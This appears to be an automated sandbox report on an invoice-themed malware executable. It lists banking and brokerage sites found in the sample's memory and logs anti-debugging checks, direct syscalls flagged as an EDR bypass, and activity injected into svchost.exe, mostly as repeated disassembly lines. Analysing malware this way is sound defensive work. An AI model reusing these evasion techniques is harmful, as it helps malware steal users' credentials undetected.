Source: 293v7V-J3.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 293v7V-J3.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 293v7V-J3.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 293v7V-J3.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 293v7V-J3.5.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 293v7V-J3.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 293v7V-J3.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 293v7V-J3.5.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 293v7V-J3.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 293v7V-J3.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

API call chain: ExitProcess graph end node

graph_0-84830

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\xwizard.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_0377096E rdtsc

2_2_0377096E

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417DD3 LdrLoadDll,

2_2_00417DD3

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0045A259 BlockInput,

0_2_0045A259

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D6D0

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe

Code function: 0_2_0040EB70 LoadLibraryA,GetProcAddress,

0_2_0040EB70

Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_02E55560 mov eax, dword ptr fs:[00000030h]	0_2_02E55560
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_02E55500 mov eax, dword ptr fs:[00000030h]	0_2_02E55500
Source: C:\Users\user\Desktop\Outstanding Invoices Spreadsheet Scan 00495_PDF.exe	Code function: 0_2_02E53EC0 mov eax, dword ptr fs:[00000030h]	0_2_02E53EC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D437C mov eax, dword ptr fs:[00000030h]	2_2_037D437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov ecx, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B035C mov eax, dword ptr fs:[00000030h]	2_2_037B035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037FA352 mov eax, dword ptr fs:[00000030h]	2_2_037FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D8350 mov ecx, dword ptr fs:[00000030h]	2_2_037D8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B2349 mov eax, dword ptr fs:[00000030h]	2_2_037B2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C310 mov ecx, dword ptr fs:[00000030h]	2_2_0372C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03750310 mov ecx, dword ptr fs:[00000030h]	2_2_03750310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A30B mov eax, dword ptr fs:[00000030h]	2_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A30B mov eax, dword ptr fs:[00000030h]	2_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376A30B mov eax, dword ptr fs:[00000030h]	2_2_0376A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E3F0 mov eax, dword ptr fs:[00000030h]	2_2_0374E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037663FF mov eax, dword ptr fs:[00000030h]	2_2_037663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037403E9 mov eax, dword ptr fs:[00000030h]	2_2_037403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE3DB mov eax, dword ptr fs:[00000030h]	2_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE3DB mov eax, dword ptr fs:[00000030h]	2_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE3DB mov ecx, dword ptr fs:[00000030h]	2_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE3DB mov eax, dword ptr fs:[00000030h]	2_2_037DE3DB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D43D4 mov eax, dword ptr fs:[00000030h]	2_2_037D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D43D4 mov eax, dword ptr fs:[00000030h]	2_2_037D43D4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EC3CD mov eax, dword ptr fs:[00000030h]	2_2_037EC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A3C0 mov eax, dword ptr fs:[00000030h]	2_2_0373A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037383C0 mov eax, dword ptr fs:[00000030h]	2_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037383C0 mov eax, dword ptr fs:[00000030h]	2_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037383C0 mov eax, dword ptr fs:[00000030h]	2_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037383C0 mov eax, dword ptr fs:[00000030h]	2_2_037383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B63C0 mov eax, dword ptr fs:[00000030h]	2_2_037B63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728397 mov eax, dword ptr fs:[00000030h]	2_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728397 mov eax, dword ptr fs:[00000030h]	2_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03728397 mov eax, dword ptr fs:[00000030h]	2_2_03728397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E388 mov eax, dword ptr fs:[00000030h]	2_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E388 mov eax, dword ptr fs:[00000030h]	2_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372E388 mov eax, dword ptr fs:[00000030h]	2_2_0372E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375438F mov eax, dword ptr fs:[00000030h]	2_2_0375438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375438F mov eax, dword ptr fs:[00000030h]	2_2_0375438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037E0274 mov eax, dword ptr fs:[00000030h]	2_2_037E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734260 mov eax, dword ptr fs:[00000030h]	2_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734260 mov eax, dword ptr fs:[00000030h]	2_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03734260 mov eax, dword ptr fs:[00000030h]	2_2_03734260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372826B mov eax, dword ptr fs:[00000030h]	2_2_0372826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A250 mov eax, dword ptr fs:[00000030h]	2_2_0372A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736259 mov eax, dword ptr fs:[00000030h]	2_2_03736259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EA250 mov eax, dword ptr fs:[00000030h]	2_2_037EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EA250 mov eax, dword ptr fs:[00000030h]	2_2_037EA250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B8243 mov eax, dword ptr fs:[00000030h]	2_2_037B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B8243 mov ecx, dword ptr fs:[00000030h]	2_2_037B8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372823B mov eax, dword ptr fs:[00000030h]	2_2_0372823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037402E1 mov eax, dword ptr fs:[00000030h]	2_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037402E1 mov eax, dword ptr fs:[00000030h]	2_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037402E1 mov eax, dword ptr fs:[00000030h]	2_2_037402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0373A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037402A0 mov eax, dword ptr fs:[00000030h]	2_2_037402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037402A0 mov eax, dword ptr fs:[00000030h]	2_2_037402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov ecx, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C62A0 mov eax, dword ptr fs:[00000030h]	2_2_037C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E284 mov eax, dword ptr fs:[00000030h]	2_2_0376E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0376E284 mov eax, dword ptr fs:[00000030h]	2_2_0376E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B0283 mov eax, dword ptr fs:[00000030h]	2_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B0283 mov eax, dword ptr fs:[00000030h]	2_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B0283 mov eax, dword ptr fs:[00000030h]	2_2_037B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C156 mov eax, dword ptr fs:[00000030h]	2_2_0372C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C8158 mov eax, dword ptr fs:[00000030h]	2_2_037C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736154 mov eax, dword ptr fs:[00000030h]	2_2_03736154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03736154 mov eax, dword ptr fs:[00000030h]	2_2_03736154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov eax, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov eax, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov ecx, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov eax, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C4144 mov eax, dword ptr fs:[00000030h]	2_2_037C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03760124 mov eax, dword ptr fs:[00000030h]	2_2_03760124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118 mov ecx, dword ptr fs:[00000030h]	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118 mov eax, dword ptr fs:[00000030h]	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118 mov eax, dword ptr fs:[00000030h]	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DA118 mov eax, dword ptr fs:[00000030h]	2_2_037DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_038061E5 mov eax, dword ptr fs:[00000030h]	2_2_038061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F0115 mov eax, dword ptr fs:[00000030h]	2_2_037F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov eax, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov ecx, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov eax, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov eax, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov ecx, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov eax, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov eax, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov ecx, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov eax, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037DE10E mov ecx, dword ptr fs:[00000030h]	2_2_037DE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037601F8 mov eax, dword ptr fs:[00000030h]	2_2_037601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_037AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F61C3 mov eax, dword ptr fs:[00000030h]	2_2_037F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F61C3 mov eax, dword ptr fs:[00000030h]	2_2_037F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B019F mov eax, dword ptr fs:[00000030h]	2_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B019F mov eax, dword ptr fs:[00000030h]	2_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B019F mov eax, dword ptr fs:[00000030h]	2_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B019F mov eax, dword ptr fs:[00000030h]	2_2_037B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A197 mov eax, dword ptr fs:[00000030h]	2_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A197 mov eax, dword ptr fs:[00000030h]	2_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A197 mov eax, dword ptr fs:[00000030h]	2_2_0372A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03770185 mov eax, dword ptr fs:[00000030h]	2_2_03770185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EC188 mov eax, dword ptr fs:[00000030h]	2_2_037EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037EC188 mov eax, dword ptr fs:[00000030h]	2_2_037EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D4180 mov eax, dword ptr fs:[00000030h]	2_2_037D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D4180 mov eax, dword ptr fs:[00000030h]	2_2_037D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0375C073 mov eax, dword ptr fs:[00000030h]	2_2_0375C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03732050 mov eax, dword ptr fs:[00000030h]	2_2_03732050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B6050 mov eax, dword ptr fs:[00000030h]	2_2_037B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C6030 mov eax, dword ptr fs:[00000030h]	2_2_037C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A020 mov eax, dword ptr fs:[00000030h]	2_2_0372A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C020 mov eax, dword ptr fs:[00000030h]	2_2_0372C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E016 mov eax, dword ptr fs:[00000030h]	2_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E016 mov eax, dword ptr fs:[00000030h]	2_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E016 mov eax, dword ptr fs:[00000030h]	2_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0374E016 mov eax, dword ptr fs:[00000030h]	2_2_0374E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B4000 mov ecx, dword ptr fs:[00000030h]	2_2_037B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037D2000 mov eax, dword ptr fs:[00000030h]	2_2_037D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0372C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037720F0 mov ecx, dword ptr fs:[00000030h]	2_2_037720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0372A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0372A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037380E9 mov eax, dword ptr fs:[00000030h]	2_2_037380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B60E0 mov eax, dword ptr fs:[00000030h]	2_2_037B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037B20DE mov eax, dword ptr fs:[00000030h]	2_2_037B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F60B8 mov eax, dword ptr fs:[00000030h]	2_2_037F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037F60B8 mov ecx, dword ptr fs:[00000030h]	2_2_037F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037C80A8 mov eax, dword ptr fs:[00000030h]	2_2_037C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0373208A mov eax, dword ptr fs:[00000030h]	2_2_0373208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03738770 mov eax, dword ptr fs:[00000030h]	2_2_03738770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03740770 mov eax, dword ptr fs:[00000030h]	2_2_03740770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03730750 mov eax, dword ptr fs:[00000030h]	2_2_03730750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_037BE75D mov eax, dword ptr fs:[00000030h]	2_2_037BE75D
